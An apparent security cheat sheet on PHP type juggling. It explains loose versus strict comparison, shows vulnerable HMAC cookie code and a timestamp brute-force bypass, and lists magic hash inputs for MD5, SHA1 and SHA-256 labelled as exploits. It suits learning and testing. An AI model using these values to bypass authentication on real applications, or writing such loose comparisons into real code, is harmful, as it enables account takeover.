PHP Juggling type and magic hashes

PHP provides two ways to compare two variables:

- Loose comparison using `== or !=` : both variables have "the same value".
- Strict comparison using `=== or !==` : both variables have "the same type and the same value".

PHP type juggling vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs.

> PHP8 won't try to cast string into numbers anymore, thanks to the Saner string to number comparisons RFC, meaning that collision with hashes starting with 0e and the likes are finally a thing of the past! The Consistent type errors for internal functions RFC will prevent things like `0 == strcmp($_GET['username'], $password)` bypasses, since strcmp won't return null and spit a warning any longer, but will throw a proper exception instead.

Type Juggling

True statements

```
var_dump('0010e2'   == '1e3');           # true
var_dump('0xABCdef' == ' 0xABCdef');     # true PHP 5.0 / false PHP 7.0
var_dump('0xABCdef' == '      0xABCdef'); # true PHP 5.0 / false PHP 7.0
var_dump('0x01'     == 1)                # true PHP 5.0 / false PHP 7.0
var_dump('0x1234Ab' == '1193131');
```

```
'123'  == 123
'123a' == 123
'abc'  == 0
```

```
'' == 0 == false == NULL
'' == 0       # true
0  == false   # true
false == NULL # true
NULL == ''    # true
```

NULL statements

```
var_dump(sha1([])); # NULL
var_dump(md5([]));  # NULL
```

Example vulnerable code

```
function validate_cookie($cookie,$key){
    $hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['$expiration'], $key);
    if($cookie['hmac'] != $hash){ // loose comparison
        return false;
    ...
```

The $cookie variable is provided by the user. The $key variable is a secret and unknown to the user.

If we can make the calculated hash string Zero-like, and provide "0" in the $cookie['hmac'], the check will pass.

```
"0e768261251903820937390661668547" == "0"
```

We have control over 3 elements in the cookie:

- $username - username you are targetting, probably "admin"
- $hmac - the provided hash, "0"
- $expiration - a UNIX timestamp, must be in the future

Increase the expiration timestamp enough times and we will eventually get a Zero-like calculated HMAC.

```
hash_hmac(admin|1424869663) -> "e716865d1953e310498068ee39922f49"
hash_hmac(admin|1424869664) -> "8c9a492d316efb5e358ceefe3829bde4"
hash_hmac(admin|1424869665) -> "9f7cdbe744fc2dae1202431c7c66334b"
hash_hmac(admin|1424869666) -> "105c0abe89825a14c471d4f0c1cc20ab"
...
hash_hmac(admin|1835970773) -> "0e174892301580325162390102935332" // "0e174892301580325162390102935332" == "0"
```

Magic Hashes - Exploit

If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP will treat the hash as a float.

Hash	“Magic” Number / String	Magic Hash	Found By / Description
MD5	240610708	0e462097431906509019562988736854	@spazef0rze
MD5	QNKCDZO	0e830400451993494058024219903391	@spazef0rze
MD5	0e1137126905	0e291659922323405260514745084877	@spazef0rze
MD5	0e215962017	0e291242476940776845150308577824	@spazef0rze
MD5	129581926211651571912466741651878684928	06da5430449f8f6f23dfc1276f722738	Raw: ?T0D??o#??'or'8.N=?
SHA1	10932435112	0e07766915004133176347055865026311692244	Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
SHA-224	10885164793773	0e281250946775200129471613219196999537878926740638594636	@TihanyiNorbert
SHA-256	34250003024812	0e462890320380659161396210390858837734138209919207062996950513332	@TihanyiNorbert
SHA-256	TyNOQHUS	0e66298694359207596086558843543959518835691168370379069085300385	@Chick3nman512

```php
<?php
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs')  == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>
```

References

- Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland
- Magic Hashes - WhieHatSec
- PHP Magic Tricks: Type Juggling